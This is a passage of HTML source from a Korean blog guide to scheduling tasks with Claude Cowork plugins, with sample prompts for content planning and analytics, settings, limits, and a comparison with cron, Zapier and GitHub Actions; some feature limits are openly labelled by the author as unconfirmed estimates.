| Skip all onboarding | Skip setup |&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Figma를 연동해서 사용하면 더 좋았을텐데... 일단 gemini flash 모드로 디자인 구현을 해보았다.&amp;nbsp;&lt;br /&gt;ex) 결과 예시&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1620&quot; data-origin-height=&quot;1266&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lGGYb/dJMcaaEoA9n/Yd1j63WLDBB8H74V4DHlk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lGGYb/dJMcaaEoA9n/Yd1j63WLDBB8H74V4DHlk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lGGYb/dJMcaaEoA9n/Yd1j63WLDBB8H74V4DHlk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlGGYb%2FdJMcaaEoA9n%2FYd1j63WLDBB8H74V4DHlk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1620&quot; height=&quot;1266&quot; data-origin-width=&quot;1620&quot; data-origin-height=&quot;1266&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;1184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yfKbx/dJMcaiCnUdh/BPWYzh62odNOUBgUGecsxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yfKbx/dJMcaiCnUdh/BPWYzh62odNOUBgUGecsxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yfKbx/dJMcaiCnUdh/BPWYzh62odNOUBgUGecsxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyfKbx%2FdJMcaiCnUdh%2FBPWYzh62odNOUBgUGecsxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1638&quot; height=&quot;1184&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;1184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fff3cd; color: #333333; text-align: start;&quot;&gt;&amp;nbsp;-&lt;span&gt; 이런식으로 플러그인을 활용 할 줄 안다면 플러그인을 스케쥴링해서 사용 하면 더더욱 강력해 진다고들 한다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;ex) 클로드 코워크가 강조하던 내용&lt;br /&gt;&quot;AI&amp;nbsp;에이전트가&amp;nbsp;cron&amp;nbsp;job을&amp;nbsp;대체하기&amp;nbsp;시작했다&quot;&amp;nbsp;지금까지&amp;nbsp;반복&amp;nbsp;업무&amp;nbsp;자동화는&amp;nbsp;개발자가&amp;nbsp;코드로&amp;nbsp;cron&amp;nbsp;job이나&amp;nbsp;스크립트를&amp;nbsp;짜야&amp;nbsp;했습니다.&amp;nbsp;하지만&amp;nbsp;Cowork&amp;nbsp;예약&amp;nbsp;작업은&amp;nbsp;자연어&amp;nbsp;지시만으로&amp;nbsp;반복&amp;nbsp;자동화를&amp;nbsp;설정할&amp;nbsp;수&amp;nbsp;있다는&amp;nbsp;점에서&amp;nbsp;근본적으로&amp;nbsp;다릅니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;비개발&amp;nbsp;직군도&amp;nbsp;자동화의&amp;nbsp;주체가&amp;nbsp;된다:&amp;nbsp;기획자가&amp;nbsp;&quot;매주&amp;nbsp;월요일&amp;nbsp;경쟁사&amp;nbsp;뉴스를&amp;nbsp;정리해줘&quot;라고&amp;nbsp;설정하면,&amp;nbsp;별도&amp;nbsp;개발&amp;nbsp;없이&amp;nbsp;자동화가&amp;nbsp;완성됩니다.&amp;nbsp;자동화의&amp;nbsp;진입장벽이&amp;nbsp;코딩에서&amp;nbsp;자연어로&amp;nbsp;낮아진&amp;nbsp;셈입니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Zapier/Make와의&amp;nbsp;차이:&amp;nbsp;기존&amp;nbsp;노코드&amp;nbsp;자동화&amp;nbsp;도구는&amp;nbsp;&quot;트리거&amp;nbsp;&amp;rarr;&amp;nbsp;액션&quot;의&amp;nbsp;정해진&amp;nbsp;흐름을&amp;nbsp;따르지만,&amp;nbsp;AI&amp;nbsp;예약&amp;nbsp;작업은&amp;nbsp;맥락을&amp;nbsp;이해하고&amp;nbsp;판단합니다.&amp;nbsp;데이터가&amp;nbsp;부족하면&amp;nbsp;알아서&amp;nbsp;보완하고,&amp;nbsp;형식이&amp;nbsp;달라지면&amp;nbsp;적응합니다.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;플러그인 생태계가 핵심: 예약 작업 자체보다 어떤 플러그인과 연결하느냐가 실질적 활용도를 결정합니다. Figma, Notion, Slack, Google Sheets 등 업무 도구와의 플러그인 연결이 곧 경쟁력이 됩니다.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플러그인 유형별 활용&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;디자인 도구 플러그인:&lt;/b&gt; Figma, Canva 등과 연동하여 디자인 리소스 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;개발 워크플로우 플러그인:&lt;/b&gt; GitHub, Jira 등과 연동하여 개발 작업 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;커넥터:&lt;/b&gt; 외부 서비스와의 연동을 위한 API 커넥터 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실전 적용 팁&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;작업 설명을 구체적으로 작성하면 더 정확한 결과를 얻을 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;복잡한 작업은 여러 개의 간단한 작업으로 나누어 스케줄링한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;완료된 작업은 Cowork 대시보드에서 결과를 확인한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 크리에이터/AI 블로거 맞춤 아이디어 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동화 아이디어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork 플러그인과 Scheduled Tasks를 결합하면 블로그 운영의 반복 업무를 대폭 줄일 수 있다.&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;추천 조합 ① &amp;mdash; Productivity 플러그인 + 매일 아침 모닝 브리핑&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;하루를 시작하기 전, 오늘 써야 할 유튜브나 글 작성 주제와 작업 우선순위를 자동으로 정리받는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;오늘 AI/기술 뉴스 중 유튜브 포스팅으로 발전시킬 수 있는 주제 3개를 찾아주세요.
각 주제마다:
- 예상 독자 반응 (관심도 높음/보통/낮음)
- 핵심 키워드 3개
- 포스팅 각도 1줄 요약
을 함께 정리해주세요.

그리고 오늘 완료해야 할 유뷰브 대본작업을 우선순위 순서로 정리해주세요.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;스케줄: &lt;b&gt;매일 오전 7시&lt;/b&gt; | Productivity 플러그인 활성화 시 Notion, Slack과 자동 연동 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;추천 조합 ② &amp;mdash; Marketing 플러그인 + 주간 콘텐츠 캘린더&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 일요일 밤, 다음 주 7일치 포스팅 계획을 자동으로 받아 월요일 아침에 바로 실행한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;clean&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;다음 주 AI 블로그 콘텐츠 캘린더를 만들어주세요.

조건:
- 포스팅 5편 (월~금)
- 각 포스팅은 검색 유입을 고려한 SEO 키워드 포함
- 글 유형 다양화: 튜토리얼 2편, 뉴스 분석 2편, 도구 리뷰 1편

형식:
| 날짜 | 제목 | 핵심 키워드 | 예상 소요시간 |
각 제목에 대해 소제목 3개도 제안해주세요.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;스케줄: &lt;b&gt;매주 일요일 오후 9시&lt;/b&gt; | Ahrefs&amp;middot;SimilarWeb 커넥터 연동 시 실제 검색량 기반 키워드 제안 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;추천 조합 ③ &amp;mdash; Data Analysis 플러그인 + 주간 성과 리포트&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;매주 금요일 퇴근 전, 이번 주 블로그 성과를 자동으로 분석하고 다음 주 전략을 제안받는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;clean&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;이번 주 블로그 성과 리포트를 작성해주세요.

분석 항목:
1. 조회수 상위 3개 포스트 및 공통점 분석
2. 유입 채널별 비율 (검색/소셜/직접)
3. 이번 주 발행 글의 초기 반응 (24시간 조회수)
4. 다음 주 집중해야 할 주제 카테고리 추천

형식: 간결한 불릿 포인트 + 핵심 수치 강조&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;스케줄: &lt;b&gt;매주 금요일 오후 6시&lt;/b&gt; | Amplitude&amp;middot;Google Analytics 커넥터 연동 시 실제 데이터 기반 분석 자동화&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플러그인 없이도 바로 시작할 수 있다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 아이디어들은 플러그인 없이 기본 Cowork만으로도 동작한다. 플러그인을 추가하면 외부 서비스(Notion, Ahrefs, Analytics 등)와의 실시간 연동이 가능해져 결과물의 정확도가 크게 향상된다. 먼저 기본 자동화로 시작하고, 효과가 확인되면 플러그인을 추가하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 고급 설정&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;추정: 고급 설정 기능&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 섹션의 기능(복합 스케줄, 조건부 실행 등)은 Scheduled Tasks의 예상되는 고급 기능이다. 실제 지원 여부는 공식 문서에서 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;복합 스케줄&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 작업을 조합하여 복잡한 워크플로우를 생성할 수 있을 것으로 예상된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;연속 실행:&lt;/b&gt; 한 작업이 완료된 후 다음 작업 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;병렬 실행:&lt;/b&gt; 여러 작업을 동시에 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;조건부 실행:&lt;/b&gt; 특정 조건이 충족될 때만 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;조건부 실행&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특정 조건에서만 작업이 실행되도록 설정할 수 있을 것으로 예상된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;특정 데이터가 존재할 때만 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;이전 작업이 성공했을 때만 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;지정된 기간에만 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;알림 설정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;작업 완료 시 알림을 받는 방법:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이메일 알림:&lt;/b&gt; 완료 결과를 이메일로 전송&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;웹 알림:&lt;/b&gt; Cowork 대시보드에서 알림 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; Slack 통합:&lt;/b&gt; Slack 채널로 결과 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 섹션 6: 보안 및 제한사항 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 보안 및 제한사항&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;데이터 보안&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks는 Anthropic의 보안 표준을 따른다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데이터 암호화:&lt;/b&gt; 전송 및 저장 데이터 암호화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근 제어:&lt;/b&gt; 프로젝트 소유자만 스케줄 관리 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;감사 로그:&lt;/b&gt; 모든 작업 실행 기록 보존&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실행 제한&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 제한 사항 (미확인)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;다음 제한 사항들은 일반적인 클라우드 자동화 서비스의 표준적인 제약들을 기반으로 한 추정이다. 정확한 제한 사항은 공식 문서에서 확인이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks에는 다음과 같은 제한이 있을 것으로 예상된다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; 최대 실행 시간:&lt;/b&gt; 단일 작업은 약 30분 내에 완료되어야 할 것으로 추정됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; 실행 빈도:&lt;/b&gt; 최소 1시간 간격으로 설정 가능할 것으로 추정됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; 리소스 제한:&lt;/b&gt; 대용량 파일 처리에 제한이 있을 것으로 예상됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 제약 조건&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks의 현재 제약사항을 이해하는 것이 중요하다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구독 요구:&lt;/b&gt; Cowork 구독이 필요하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;로컬 실행:&lt;/b&gt; 예약 작업은 로컬에서 실행되며 기기 간에 동기화되지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실행 조건:&lt;/b&gt; 컴퓨터가 켜져 있는 동안에만 실행된다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기능 제한:&lt;/b&gt; 일부 복잡한 작업은 지원하지 않을 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;신규 기능:&lt;/b&gt; 2026년 2월 기준으로 최신 기능이므로 버그가 있을 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 섹션 7: 대안과의 비교 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 대안과의 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks 외에도 자동화 작업을 위한 다른 방법들이 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;방법&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;장점&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cowork Scheduled Tasks&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;AI 이해, 자연어 설정, Cowork와 통합&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;구독 필요, 로컬 실행 (기기 간 동기화 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;cron job&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;무료, 로컬 실행, 유연성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;기술적 지식 필요, AI 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Zapier/Make&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;다양한 서비스 통합, 시각적 설정&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비용, 복잡한 워크플로우&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub Actions&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;CI/CD 통합, 무료 티어&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개발 작업에 특화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 8: 모범 사례 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 모범 사례&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;효과적인 스케줄링&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;구체적인 작업 설명:&lt;/b&gt; Claude가 정확히 이해할 수 있도록 자세히 설명한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;적절한 실행 간격:&lt;/b&gt; 너무 잦은 스케줄은 리소스를 낭비할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;결과 확인:&lt;/b&gt; 정기적으로 실행 결과를 확인하고 필요시 조정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에러 처리:&lt;/b&gt; 실패 시 대응 방법을 미리 계획한다&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;주의사항&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;민감한 정보:&lt;/b&gt; 비밀번호, API 키 등을 스케줄에 포함하지 않는다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;실행 시간:&lt;/b&gt; 시스템 부하가 적은 시간을 선택한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;비용 관리:&lt;/b&gt; 빈번한 실행은 API 비용을 증가시킬 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;작업 의존성:&lt;/b&gt; 다른 서비스가 정상 작동하는지 확인한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 섹션 9: 트러블슈팅 Q&amp;A --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Scheduled Tasks 사용 중 자주 발생하는 문제와 해결 방법을 정리했다.&lt;/p&gt;
&lt;!-- Q1: 스케줄이 실행되지 않음 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;Q1. 스케줄이 실행되지 않습니다&lt;/h4&gt;
